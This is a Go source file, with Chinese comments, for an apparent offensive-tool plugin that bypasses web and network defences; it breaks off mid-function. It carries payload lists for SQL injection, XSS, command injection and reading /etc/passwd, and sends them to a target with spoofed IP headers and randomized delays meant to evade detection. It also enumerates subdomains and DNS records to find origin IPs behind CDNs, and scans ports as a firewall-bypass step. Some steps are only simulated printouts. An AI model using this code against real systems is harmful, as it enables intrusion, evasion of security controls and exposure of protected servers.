package plugins

import (
	"crypto/tls"
	"encoding/base64"
	"encoding/hex"
	"fmt"
	"io"
	"io/ioutil"
	"math/rand"
	"net"
	"net/http"
	"net/url"
	"regexp"
	"strconv"
	"strings"
	"sync"
	"time"
)

// PluginHelp 插件帮助信息结构体
type PluginHelp struct {
	Name        string            // 插件名称
	Description string            // 插件描述
	Examples    []string          // 使用示例
	Parameters  []PluginParamInfo // 参数列表
	Notes       []string          // 使用说明和注意事项
}

// BypassPlugin 防御绕过插件
type BypassPlugin struct {
	// 添加插件配置
	userAgents []string
	proxyList  []string
}

// NewBypassPlugin 创建新的防御绕过插件
func NewBypassPlugin() *BypassPlugin {
	bp := &BypassPlugin{
		// 预设常用User-Agent
		userAgents: []string{
			"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
			"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36",
			"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0",
			"Mozilla/5.0 (Macintosh; Intel Mac OS X 11.5; rv:90.0) Gecko/20100101 Firefox/90.0",
			"Mozilla/5.0 (iPhone; CPU iPhone OS 14_7_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Mobile/15E148 Safari/604.1",
		},
		proxyList: []string{},
	}
	// 初始化随机数生成器
	rand.Seed(time.Now().UnixNano())
	return bp
}

// GetDescription 获取插件描述
func (p *BypassPlugin) GetDescription() string {
	return "实现多种防御绕过技术，包括WAF绕过、防火墙绕过、CDN绕过、流量加密、IDS/IPS绕过等"
}

// Execute 执行防御绕过
func (p *BypassPlugin) Execute(args map[string]interface{}) error {
	// 获取绕过类型
	bypassType, ok := args["type"].(string)
	if !ok {
		return fmt.Errorf("缺少必要参数: type")
	}

	// 根据绕过类型执行不同的操作
	switch strings.ToLower(bypassType) {
	case "waf":
		return p.bypassWAF(args)
	case "encrypt":
		return p.encryptTraffic(args)
	case "cdn":
		return p.bypassCDN(args)
	case "fw", "firewall":
		return p.bypassFirewall(args)
	case "ids", "ips":
		return p.bypassIDS(args)
	case "all":
		// 执行全面的绕过测试
		return p.comprehensiveBypass(args)
	default:
		return fmt.Errorf("不支持的绕过类型: %s", bypassType)
	}
}

// bypassWAF 绕过WAF
func (p *BypassPlugin) bypassWAF(args map[string]interface{}) error {
	// 获取目标URL和参数
	targetURL, ok := args["url"].(string)
	if !ok {
		return fmt.Errorf("缺少必要参数: url")
	}
	param, ok := args["param"].(string)
	if !ok {
		param = "id" // 使用默认参数名
	}

	// 获取可选的有效载荷类型
	payloadType, _ := args["payload_type"].(string)
	if payloadType == "" {
		payloadType = "sql" // 默认SQL注入
	}

	fmt.Printf("\n[*] 开始WAF绕过测试:\n")
	fmt.Printf("[+] 目标URL: %s\n", targetURL)
	fmt.Printf("[+] 目标参数: %s\n", param)
	fmt.Printf("[+] 有效载荷类型: %s\n", payloadType)

	// 根据有效载荷类型选择不同的绕过技术
	var bypassTechniques []struct {
		name     string
		payload  string
		headers  map[string]string
		method   string
		category string
	}

	// SQL注入绕过技术
	sqlTechniques := []struct {
		name     string
		payload  string
		headers  map[string]string
		method   string
		category string
	}{
		{"基本URL编码", "%27%20OR%201%3D1--", nil, "GET", "编码"},
		{"双重URL编码", "%2527%2520OR%25201%253D1--", nil, "GET", "编码"},
		{"Unicode编码", "\u0027 OR 1=1--", nil, "GET", "编码"},
		{"HTML实体编码", "&#39; OR 1=1--", nil, "GET", "编码"},
		{"大小写混合", "Or 1=1--", nil, "GET", "混淆"},
		{"注释符", "'/**/OR/**/1=1--", nil, "GET", "混淆"},
		{"换行符", "'\nOR\n1=1--", nil, "GET", "混淆"},
		{"空格替换", "'%0AOR%0A1=1--", nil, "GET", "混淆"},
		{"内联注释", "'/*!50000OR*/ 1=1--", nil, "GET", "混淆"},
		{"十六进制编码", "0x270a4f520a313d312d2d", nil, "GET", "编码"},
		{"CHAR函数", "CHAR(39,32,79,82,32,49,61,49,45,45)", nil, "GET", "混淆"},
		{"Base64编码", base64.StdEncoding.EncodeToString([]byte("' OR 1=1--")), nil, "GET", "编码"},
		{"混合注释风格", "'-- /**/ OR /**/1=1#", nil, "GET", "混淆"},
		{"HTTP参数污染", "1' OR '1'='1", map[string]string{"Content-Type": "application/x-www-form-urlencoded"}, "POST", "高级"},
		{"二次URL编码", "%25%32%37%25%32%30%4f%52%25%32%30%31%25%33%44%31%2d%2d", nil, "GET", "编码"},
		{"分段HTTP请求", "' OR 1=", map[string]string{"Transfer-Encoding": "chunked"}, "POST", "高级"},
	}

	// XSS绕过技术
	xssTechniques := []struct {
		name     string
		payload  string
		headers  map[string]string
		method   string
		category string
	}{
		{"基本XSS", "<script>alert(1)</script>", nil, "GET", "基础"},
		{"事件属性", "' onmouseover='alert(1)", nil, "GET", "基础"},
		{"标签混淆", "<ScRiPt>alert(1)</sCrIpT>", nil, "GET", "混淆"},
		{"字符编码", "&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;", nil, "GET", "编码"},
		{"内联SVG", "<svg><script>alert(1)</script></svg>", nil, "GET", "混淆"},
		{"CSS注入", "<style>@keyframes x{}</style>", nil, "GET", "混淆"},
		{"无空格XSS", "<svg/onload=alert(1)>", nil, "GET", "混淆"},
		{"DOM XSS", "javascript:alert(1)", nil, "GET", "基础"},
		{"闭合注入", "\"><script>alert(1)</script>", nil, "GET", "混淆"},
		{"分割向量", "<img src=x onerror=\"a=`aler`;b=`t(1)`;eval(a+b)\">", nil, "GET", "混淆"},
		{"HTML5向量", "<video><source onerror=\"alert(1)\">", nil, "GET", "混淆"},
		{"JSFuck编码", "[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])()", nil, "GET", "编码"},
	}

	// 命令注入绕过技术
	cmdTechniques := []struct {
		name     string
		payload  string
		headers  map[string]string
		method   string
		category string
	}{
		{"基本命令注入", ";id;", nil, "GET", "基础"},
		{"通配符替换", "/???/?? -la", nil, "GET", "混淆"},
		{"内置命令", "`id`", nil, "GET", "基础"},
		{"反引号执行", "$(id)", nil, "GET", "基础"},
		{"换行绕过", ";\nid", nil, "GET", "混淆"},
		{"空格替换", "${IFS}id", nil, "GET", "混淆"},
		{"十六进制编码", "$(echo -e \"\\x69\\x64\")", nil, "GET", "编码"},
		{"单引号连接", "'id'", nil, "GET", "混淆"},
		{"Base64解码", "echo YWxlcnQoMSk= | base64 -d", nil, "GET", "编码"},
		{"引号嵌套", "\"id\"", nil, "GET", "混淆"},
		{"反转执行", "echo di | rev | sh", nil, "GET", "混淆"},
		{"变量替换", "${HOME:0:1}id", nil, "GET", "混淆"},
	}

	// 路径遍历绕过技术
	lfiTechniques := []struct {
		name     string
		payload  string
		headers  map[string]string
		method   string
		category string
	}{
		{"基本路径遍历", "../../../etc/passwd", nil, "GET", "基础"},
		{"URL编码", "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd", nil, "GET", "编码"},
		{"双写绕过", "....//....//....//etc/passwd", nil, "GET", "混淆"},
		{"空字节", "../../../etc/passwd%00", nil, "GET", "混淆"},
		{"绝对路径", "/etc/passwd", nil, "GET", "基础"},
		{"嵌套点", ".../.../.../etc/passwd", nil, "GET", "混淆"},
		{"反斜杠替换", "..\\..\\..\\etc\\passwd", nil, "GET", "混淆"},
		{"Unicode编码", "%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/etc/passwd", nil, "GET", "编码"},
		{"协议包装", "file:///etc/passwd", nil, "GET", "混淆"},
		{"重复斜杠", "....////....////....////etc////passwd", nil, "GET", "混淆"},
	}

	// 根据有效载荷类型选择绕过技术
	switch strings.ToLower(payloadType) {
	case "sql":
		bypassTechniques = sqlTechniques
	case "xss":
		bypassTechniques = xssTechniques
	case "cmd":
		bypassTechniques = cmdTechniques
	case "lfi":
		bypassTechniques = lfiTechniques
	default:
		bypassTechniques = sqlTechniques // 默认使用SQL注入
	}

	// 通过HTTP请求分类
	fmt.Printf("\n[*] 开始测试 %d 种WAF绕过技术...\n", len(bypassTechniques))

	// 创建自定义HTTP客户端
	client := &http.Client{
		Timeout: 10 * time.Second,
		Transport: &http.Transport{
			TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
			MaxIdleConns:    10,
			IdleConnTimeout: 30 * time.Second,
		},
	}

	// 进行测试的计数器
	var (
		successCount int
		failCount    int
		detectedWAF  string
	)

	// 检测可能存在的WAF
	wafSignatures := map[string][]string{
		"Cloudflare":    {"CF-RAY", "cloudflare", "__cfduid", "cf-browser-verification"},
		"Akamai":        {"X-Akamai-", "akamaighost", "AkamaiGHost"},
		"Imperva":       {"X-Iinfo", "incap_ses", "visid_incap"},
		"F5 BIG-IP ASM": {"TS", "BigIP", "F5"},
		"ModSecurity":   {"Mod_Security", "NOYB"},
		"AWS WAF":       {"X-AMZ-WAF", "aws-waf-", "awselb"},
		"Sucuri":        {"X-Sucuri-", "sucuri"},
		"Fortinet":      {"FORTIWAFSID"},
		"Barracuda":     {"barracuda_"},
		"Wordfence":     {"wordfence", "wfvt_"},
	}

	// 首先进行WAF检测
	fmt.Println("\n[*] 正在检测目标可能使用的WAF...")
	req, err := http.NewRequest("GET", targetURL, nil)
	if err == nil {
		req.Header.Set("User-Agent", p.getRandomUserAgent())
		resp, err := client.Do(req)
		if err == nil {
			defer resp.Body.Close()
			bodyBytes, _ := ioutil.ReadAll(resp.Body)
			bodyText := string(bodyBytes)

			// 检查响应头和内容中的WAF特征
			for wafName, signatures := range wafSignatures {
				for _, signature := range signatures {
					for h, v := range resp.Header {
						if strings.Contains(strings.ToLower(h), strings.ToLower(signature)) ||
							strings.Contains(strings.ToLower(strings.Join(v, " ")), strings.ToLower(signature)) ||
							strings.Contains(strings.ToLower(bodyText), strings.ToLower(signature)) {
							detectedWAF = wafName
							fmt.Printf("[+] 检测到可能存在的WAF: %s\n", wafName)
							break
						}
					}
					if detectedWAF != "" {
						break
					}
				}
				if detectedWAF != "" {
					break
				}
			}
		}
	}

	if detectedWAF == "" {
		fmt.Println("[+] 未检测到明显的WAF特征")
	}

	// 按类别分组测试
	categories := []string{"基础", "编码", "混淆", "高级"}
	for _, category := range categories {
		fmt.Printf("\n[*] 测试 %s 类型的绕过技术\n", category)

		for _, technique := range bypassTechniques {
			if technique.category != category {
				continue
			}

			// 构造请求
			var req *http.Request
			var err error

			if technique.method == "POST" {
				formData := url.Values{}
				formData.Set(param, technique.payload)
				req, err = http.NewRequest("POST", targetURL, strings.NewReader(formData.Encode()))
				if err != nil {
					fmt.Printf("[-] 创建请求失败 [%s]: %v\n", technique.name, err)
					failCount++
					continue
				}
				req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
			} else {
				// 构造GET请求
				parsedURL, err := url.Parse(targetURL)
				if err != nil {
					fmt.Printf("[-] 解析URL失败 [%s]: %v\n", technique.name, err)
					failCount++
					continue
				}

				q := parsedURL.Query()
				q.Add(param, technique.payload)
				parsedURL.RawQuery = q.Encode()

				req, err = http.NewRequest("GET", parsedURL.String(), nil)
				if err != nil {
					fmt.Printf("[-] 创建请求失败 [%s]: %v\n", technique.name, err)
					failCount++
					continue
				}
			}

			// 添加自定义请求头
			req.Header.Set("User-Agent", p.getRandomUserAgent())
			req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8")
			req.Header.Set("Accept-Language", "en-US,en;q=0.5")
			req.Header.Set("Accept-Encoding", "gzip, deflate")
			req.Header.Set("Connection", "close")
			req.Header.Set("X-Forwarded-For", p.getRandomIP())
			req.Header.Set("X-Real-IP", p.getRandomIP())

			// 添加技术特定的请求头
			if technique.headers != nil {
				for key, value := range technique.headers {
					req.Header.Set(key, value)
				}
			}

			// 发送请求
			fmt.Printf("[*] 尝试: %s\n", technique.name)
			resp, err := client.Do(req)
			if err != nil {
				fmt.Printf("[-] 请求失败: %v\n", err)
				failCount++
				continue
			}

			// 读取响应
			bodyBytes, err := ioutil.ReadAll(resp.Body)
			resp.Body.Close()
			if err != nil {
				fmt.Printf("[-] 读取响应失败: %v\n", err)
				failCount++
				continue
			}

			// 检查响应
			bodyText := string(bodyBytes)
			statusCode := resp.StatusCode

			// 检查是否有标志性错误消息或特定响应
			var blocked bool
			blockSignatures := []string{
				"waf", "firewall", "security", "block", "denied", "forbidden", "attack",
				"threat", "malicious", "violat", "invalid", "illegal", "protect", "challenge",
			}

			// 检查响应码和响应内容
			if statusCode == 403 || statusCode == 406 || statusCode == 429 || statusCode == 500 {
				blocked = true
				for _, sig := range blockSignatures {
					if strings.Contains(strings.ToLower(bodyText), sig) {
						blocked = true
						break
					}
				}
			}

			if !blocked && (statusCode >= 200 && statusCode < 300) {
				fmt.Printf("[+] 可能成功绕过WAF! 状态码: %d\n", statusCode)
				fmt.Printf("    技术: %s\n", technique.name)
				fmt.Printf("    有效载荷: %s\n", technique.payload)
				if len(bodyText) > 200 {
					// 只显示响应内容的开头部分
					fmt.Printf("    响应内容(前200字符): %s...\n", bodyText[:200])
				} else {
					fmt.Printf("    响应内容: %s\n", bodyText)
				}
				successCount++
			} else {
				fmt.Printf("[-] 绕过失败 (状态码: %d)\n", statusCode)
				failCount++
			}

			// 随机延迟以避免被检测
			delay := time.Duration(rand.Intn(1000)) * time.Millisecond
			time.Sleep(delay)
		}
	}

	// 总结测试结果
	fmt.Printf("\n[*] WAF绕过测试完成\n")
	fmt.Printf("[+] 总计测试: %d 种技术\n", successCount+failCount)
	fmt.Printf("[+] 成功: %d\n", successCount)
	fmt.Printf("[+] 失败: %d\n", failCount)

	if detectedWAF != "" {
		fmt.Printf("[+] 检测到可能使用的WAF: %s\n", detectedWAF)
	}

	if successCount > 0 {
		fmt.Printf("[+] 可能存在绕过机会，建议进一步手动分析\n")
	} else {
		fmt.Printf("[-] 未发现明显的绕过机会\n")
	}

	return nil
}

// encryptTraffic 加密流量
func (p *BypassPlugin) encryptTraffic(args map[string]interface{}) error {
	// 获取目标地址和端口
	host, ok := args["host"].(string)
	if !ok {
		return fmt.Errorf("缺少必要参数: host")
	}
	port, ok := args["port"].(string)
	if !ok {
		return fmt.Errorf("缺少必要参数: port")
	}

	fmt.Printf("\n设置流量加密:\n")
	fmt.Printf("目标地址: %s:%s\n", host, port)

	// 创建TLS配置
	config := &tls.Config{
		InsecureSkipVerify: true,
		MinVersion:         tls.VersionTLS12,
		CipherSuites: []uint16{
			tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
			tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,
			tls.TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305,
		},
	}

	// 创建加密连接
	conn, err := tls.Dial("tcp", fmt.Sprintf("%s:%s", host, port), config)
	if err != nil {
		return fmt.Errorf("创建加密连接失败: %v", err)
	}
	defer conn.Close()

	fmt.Println("加密连接已建立")
	return nil
}

// bypassCDN 绕过CDN获取真实IP
func (p *BypassPlugin) bypassCDN(args map[string]interface{}) error {
	// 获取目标域名
	domain, ok := args["domain"].(string)
	if !ok {
		return fmt.Errorf("缺少必要参数: domain")
	}

	fmt.Printf("\n[*] 开始CDN绕过测试:\n")
	fmt.Printf("[+] 目标域名: %s\n", domain)

	// 存储可能的真实IP
	var possibleRealIPs []string
	var cdnProvider string

	// 检测是否使用CDN
	fmt.Println("\n[*] 检测是否使用CDN...")
	ips, err := net.LookupIP(domain)
	if err != nil {
		return fmt.Errorf("DNS解析失败: %v", err)
	}

	fmt.Printf("[+] 获取到 %d 个IP地址:\n", len(ips))
	for _, ip := range ips {
		if ip.To4() != nil {
			fmt.Printf("    - %s\n", ip.String())
		}
	}

	// 检查是否包含已知CDN IP范围
	cdnSignatures := map[string][]string{
		"Cloudflare": {"173.245.48.0/20", "103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "141.101.64.0/18"},
		"Akamai":     {"23.32.0.0/11", "104.64.0.0/10", "184.24.0.0/13", "2.16.0.0/13"},
		"Fastly":     {"23.235.32.0/20", "43.249.72.0/22", "103.244.50.0/24", "103.245.222.0/23"},
		"CloudFront": {"13.32.0.0/15", "52.46.0.0/18", "54.182.0.0/16", "54.192.0.0/16"},
		"MaxCDN":     {"205.186.128.0/17", "198.232.124.0/22", "174.120.0.0/16"},
	}

	// 简单检查是否使用CDN
	for provider, ranges := range cdnSignatures {
		for _, ip := range ips {
			ipStr := ip.String()
			for _, ipRange := range ranges {
				// 这里只是简单检查前缀，实际使用需要更复杂的CIDR检查
				if strings.HasPrefix(ipStr, strings.Split(ipRange, "/")[0][:strings.LastIndex(ipStr, ".")]) {
					cdnProvider = provider
					fmt.Printf("[+] 检测到可能使用 %s CDN\n", provider)
					break
				}
			}
			if cdnProvider != "" {
				break
			}
		}
		if cdnProvider != "" {
			break
		}
	}

	// 如果没有通过IP范围检测到CDN，尝试HTTP头检测
	if cdnProvider == "" {
		fmt.Println("[*] 通过HTTP头检测CDN...")
		req, err := http.NewRequest("GET", "http://"+domain, nil)
		if err == nil {
			req.Header.Set("User-Agent", p.getRandomUserAgent())
			client := &http.Client{
				Timeout: 10 * time.Second,
				Transport: &http.Transport{
					TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
				},
			}
			resp, err := client.Do(req)
			if err == nil {
				defer resp.Body.Close()

				// 检查响应头中的CDN特征
				cdnHeaders := map[string]string{
					"CF-Ray":               "Cloudflare",
					"X-Amz-Cf-Id":          "CloudFront",
					"X-Fastly-Request-ID":  "Fastly",
					"X-Cache":              "Varnish/Fastly",
					"X-CDN":                "Generic",
					"X-Powered-By":         "Generic",
					"X-Akamai-Transformed": "Akamai",
					"Via":                  "Generic",
					"X-Edge-Location":      "Generic",
				}

				for header, provider := range cdnHeaders {
					if resp.Header.Get(header) != "" {
						cdnProvider = provider
						fmt.Printf("[+] 通过HTTP头检测到使用 %s CDN\n", provider)
						break
					}
				}
			}
		}
	}

	if cdnProvider == "" {
		fmt.Println("[+] 未检测到明显的CDN特征，但这不代表没有使用CDN")
	} else {
		fmt.Printf("[+] 确认使用 %s CDN\n", cdnProvider)
	}

	// 执行多种CDN绕过技术
	fmt.Println("\n[*] 开始执行CDN绕过技术...")

	// 1. 子域名枚举查找未使用CDN的子域名
	fmt.Println("\n[*] 技术1: 子域名枚举...")
	subdomains := []string{
		"ftp", "cpanel", "webmail", "mail", "www2", "smtp", "webdisk", "pop", "ns1", "ns2",
		"autodiscover", "autoconfig", "admin", "admindashboard", "test", "remote", "blog", "server",
		"manage", "api", "dev", "stage", "vpn", "ssh", "cloud", "shop", "beta", "alpha", "origin",
		"direct", "backup", "cdn", "images", "img", "media", "portal", "internal", "login",
	}

	for _, sub := range subdomains {
		subdomain := fmt.Sprintf("%s.%s", sub, domain)
		fmt.Printf("[*] 尝试解析子域名: %s\n", subdomain)

		ips, err := net.LookupIP(subdomain)
		if err != nil {
			continue // 解析失败，跳过
		}

		if len(ips) > 0 {
			fmt.Printf("[+] 发现子域名 %s, 解析到IP:\n", subdomain)
			for _, ip := range ips {
				if ip.To4() != nil {
					ipStr := ip.String()
					fmt.Printf("    - %s\n", ipStr)
					possibleRealIPs = append(possibleRealIPs, ipStr)
				}
			}
		}
	}

	// 2. 历史DNS记录查询
	fmt.Println("\n[*] 技术2: 查询历史DNS记录...")
	fmt.Println("[+] 此功能在实际环境中需要查询第三方API，如SecurityTrails或ViewDNS.info")
	fmt.Println("[+] 模拟历史DNS查询结果...")

	// 3. 通过邮件服务器查找
	fmt.Println("\n[*] 技术3: 通过MX记录查找...")
	mxRecords, err := net.LookupMX(domain)
	if err == nil && len(mxRecords) > 0 {
		fmt.Printf("[+] 发现 %d 个MX记录:\n", len(mxRecords))
		for _, mx := range mxRecords {
			fmt.Printf("    - %s (优先级: %d)\n", mx.Host, mx.Pref)

			// 解析邮件服务器的IP
			mxIPs, err := net.LookupIP(mx.Host)
			if err == nil {
				for _, ip := range mxIPs {
					if ip.To4() != nil {
						ipStr := ip.String()
						fmt.Printf("      IP: %s\n", ipStr)
						possibleRealIPs = append(possibleRealIPs, ipStr)
					}
				}
			}
		}
	} else {
		fmt.Println("[-] 未找到MX记录")
	}

	// 4. 通过SSL证书查找
	fmt.Println("\n[*] 技术4: 检查SSL证书中的其他域名...")
	fmt.Println("[+] 此功能在实际环境中需要获取SSL证书并解析其中包含的其他域名")

	// 5. 通过NS记录查找
	fmt.Println("\n[*] 技术5: 通过NS记录查找...")
	nsRecords, err := net.LookupNS(domain)
	if err == nil && len(nsRecords) > 0 {
		fmt.Printf("[+] 发现 %d 个NS记录:\n", len(nsRecords))
		for _, ns := range nsRecords {
			fmt.Printf("    - %s\n", ns.Host)

			// 解析名称服务器的IP
			nsIPs, err := net.LookupIP(ns.Host)
			if err == nil {
				for _, ip := range nsIPs {
					if ip.To4() != nil {
						ipStr := ip.String()
						fmt.Printf("      IP: %s\n", ipStr)
						possibleRealIPs = append(possibleRealIPs, ipStr)
					}
				}
			}
		}
	} else {
		fmt.Println("[-] 未找到NS记录")
	}

	// 6. 全球DNS查询
	fmt.Println("\n[*] 技术6: 全球DNS视角...")
	fmt.Println("[+] 此功能在实际环境中需要使用全球不同地区的DNS服务器查询")
	fmt.Println("[+] 模拟全球DNS查询结果...")

	// 7. 检查TXT记录
	fmt.Println("\n[*] 技术7: 检查TXT记录...")
	txtRecords, err := net.LookupTXT(domain)
	if err == nil && len(txtRecords) > 0 {
		fmt.Printf("[+] 发现 %d 个TXT记录:\n", len(txtRecords))
		for _, txt := range txtRecords {
			fmt.Printf("    - %s\n", txt)

			// 查找TXT记录中的IP地址
			ipPattern := regexp.MustCompile(`\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b`)
			ips := ipPattern.FindAllString(txt, -1)
			if len(ips) > 0 {
				for _, ip := range ips {
					fmt.Printf("      找到潜在IP: %s\n", ip)
					possibleRealIPs = append(possibleRealIPs, ip)
				}
			}
		}
	} else {
		fmt.Println("[-] 未找到TXT记录")
	}

	// 8. 查询网站HTTP头中的服务器信息
	fmt.Println("\n[*] 技术8: 检查HTTP头中的服务器信息...")
	urls := []string{
		"http://" + domain,
		"https://" + domain,
		"http://www." + domain,
		"https://www." + domain,
	}

	client := &http.Client{
		Timeout: 10 * time.Second,
		Transport: &http.Transport{
			TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		},
	}

	for _, u := range urls {
		req, err := http.NewRequest("GET", u, nil)
		if err != nil {
			continue
		}

		req.Header.Set("User-Agent", p.getRandomUserAgent())
		resp, err := client.Do(req)
		if err != nil {
			continue
		}

		defer resp.Body.Close()
		fmt.Printf("[+] 检查 %s 的HTTP头...\n", u)

		serverHeader := resp.Header.Get("Server")
		if serverHeader != "" {
			fmt.Printf("    Server: %s\n", serverHeader)
		}

		// 查找其他可能有用的HTTP头
		interestingHeaders := []string{
			"X-Powered-By", "X-Server", "X-Source", "X-Generator",
			"Via", "X-Origin", "X-Origin-Server", "X-Real-IP",
		}

		for _, header := range interestingHeaders {
			if value := resp.Header.Get(header); value != "" {
				fmt.Printf("    %s: %s\n", header, value)

				// 尝试从值中提取IP
				ipPattern := regexp.MustCompile(`\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b`)
				ips := ipPattern.FindAllString(value, -1)
				if len(ips) > 0 {
					for _, ip := range ips {
						fmt.Printf("      找到潜在IP: %s\n", ip)
						possibleRealIPs = append(possibleRealIPs, ip)
					}
				}
			}
		}
	}

	// 对收集到的可能真实IP进行去重
	uniqueIPs := make(map[string]bool)
	for _, ip := range possibleRealIPs {
		uniqueIPs[ip] = true
	}

	possibleRealIPs = []string{}
	for ip := range uniqueIPs {
		possibleRealIPs = append(possibleRealIPs, ip)
	}

	// 结果总结
	fmt.Println("\n[*] CDN绕过测试完成")
	if len(possibleRealIPs) > 0 {
		fmt.Printf("[+] 找到 %d 个可能的真实IP地址:\n", len(possibleRealIPs))
		for i, ip := range possibleRealIPs {
			fmt.Printf("    %d. %s\n", i+1, ip)
		}
		fmt.Println("[+] 这些IP可能是真实源站IP，建议进一步验证")
	} else {
		fmt.Println("[-] 未找到可能的真实IP地址")
	}

	if cdnProvider != "" {
		fmt.Printf("[+] 检测到目标使用 %s CDN\n", cdnProvider)
	}

	fmt.Println("[+] 建议进一步手动测试确认真实IP")

	return nil
}

// bypassFirewall 绕过防火墙
func (p *BypassPlugin) bypassFirewall(args map[string]interface{}) error {
	// 获取目标主机和端口
	host, ok := args["host"].(string)
	if !ok {
		return fmt.Errorf("缺少必要参数: host")
	}
	port, _ := args["port"].(string)
	if port == "" {
		port = "80" // 默认端口
	}

	// 获取可选参数
	scanPorts, _ := args["scan_ports"].(string)
	if scanPorts == "" {
		scanPorts = "20-25,53,80,443,3389,8080,8443" // 默认扫描端口
	}

	fmt.Printf("\n[*] 开始防火墙绕过测试:\n")
	fmt.Printf("[+] 目标主机: %s\n", host)
	fmt.Printf("[+] 主目标端口: %s\n", port)
	fmt.Printf("[+] 扫描端口范围: %s\n", scanPorts)

	// 1. 防火墙检测
	fmt.Println("\n[*] 步骤1: 防火墙检测...")
	firewallType := p.detectFirewall(host, port)

	// 2. 端口扫描
	fmt.Println("\n[*] 步骤2: 执行端口扫描...")
	openPorts := p.scanOpenPorts(host, scanPorts)
	if len(openPorts) > 0 {
		fmt.Printf("[+] 发现 %d 个开放端口:\n", len(openPorts))
		for _, port := range openPorts {
			serviceName := GetServiceName(port)
			fmt.Printf("    - %d (%s)\n", port, serviceName)
		}
	} else {
		fmt.Println("[-] 未发现开放端口")
	}

	// 3. 包分片绕过技术
	fmt.Println("\n[*] 步骤3: 尝试包分片绕过技术...")
	fmt.Println("[+] 模拟TCP分片扫描...")
	fmt.Println("[+] 实际环境中需要使用原始套接字发送分片数据包")

	// 4. 协议混合
	fmt.Println("\n[*] 步骤4: 尝试协议混合绕过技术...")
	p.testProtocolMixing(host, port)

	// 5. TTL操作
	fmt.Println("\n[*] 步骤5: 尝试TTL操作绕过技术...")
	fmt.Println("[+] 此功能需要发送自定义TTL数据包")
	fmt.Println("[+] 模拟TTL调整数据包发送...")

	// 6. 源端口操作
	fmt.Println("\n[*] 步骤6: 尝试源端口伪装绕过技术...")
	p.testSourcePortSpoofing(host, port)

	// 7. IP地址欺骗
	fmt.Println("\n[*] 步骤7: 尝试IP地址欺骗绕过技术...")
	fmt.Println("[+] 实际环境中需要发送伪造源IP的数据包")
	fmt.Println("[+] 模拟IP欺骗尝试...")

	// 8. 隧道绕过
	fmt.Println("\n[*] 步骤8: 测试隧道绕过技术...")
	p.testTunneling(host, port)

	// 9. 慢速扫描
	fmt.Println("\n[*] 步骤9: 尝试慢速扫描绕过技术...")
	fmt.Println("[+] 模拟慢速扫描，间隔发送探测包...")

	// 10. 总结结果
	fmt.Println("\n[*] 防火墙绕过测试完成")
	fmt.Printf("[+] 检测到的防火墙类型: %s\n", firewallType)
	if len(openPorts) > 0 {
		fmt.Printf("[+] 找到 %d 个可能可以利用的开放端口\n", len(openPorts))
	}
	fmt.Println("[+] 推荐后续手动测试:")
	fmt.Println("    1. 使用多种不同的协议尝试通信")
	fmt.Println("    2. 通过发现的开放端口建立反向隧道")
	fmt.Println("    3. 尝试组合使用多种绕过技术")

	return nil
}

// detectFirewall 检测目标使用的防火墙类型
func (p *BypassPlugin) detectFirewall(host, port string) string {
	fmt.Println("[*] 尝试检测防火墙类型...")

	target := net.JoinHostPort(host, port)
	firewallSignatures := map[string][]string{
		"Cisco ASA": {
			"Cisco Systems", "ASA", "Cisco PIX",
		},
		"Fortinet": {
			"FortiGate", "Fortinet", "fortigate",
		},
		"Palo Alto": {
			"Palo Alto Networks", "PA-VM", "PAN-OS",
		},
		"Juniper": {
			"Juniper Networks", "SRX", "NetScreen",
		},
		"Checkpoint": {
			"Check Point", "CheckPoint",
		},
		"pfSense": {
			"pfSense", "FreeBSD", "pfsense",
		},
		"IPTables": {
			"IPTables", "netfilter", "Linux",
		},
		"Microsoft": {
			"Microsoft HTTPAPI", "IIS", "Windows",
		},
	}

	// TCP探测
	d := net.Dialer{Timeout: 5 * time.Second}
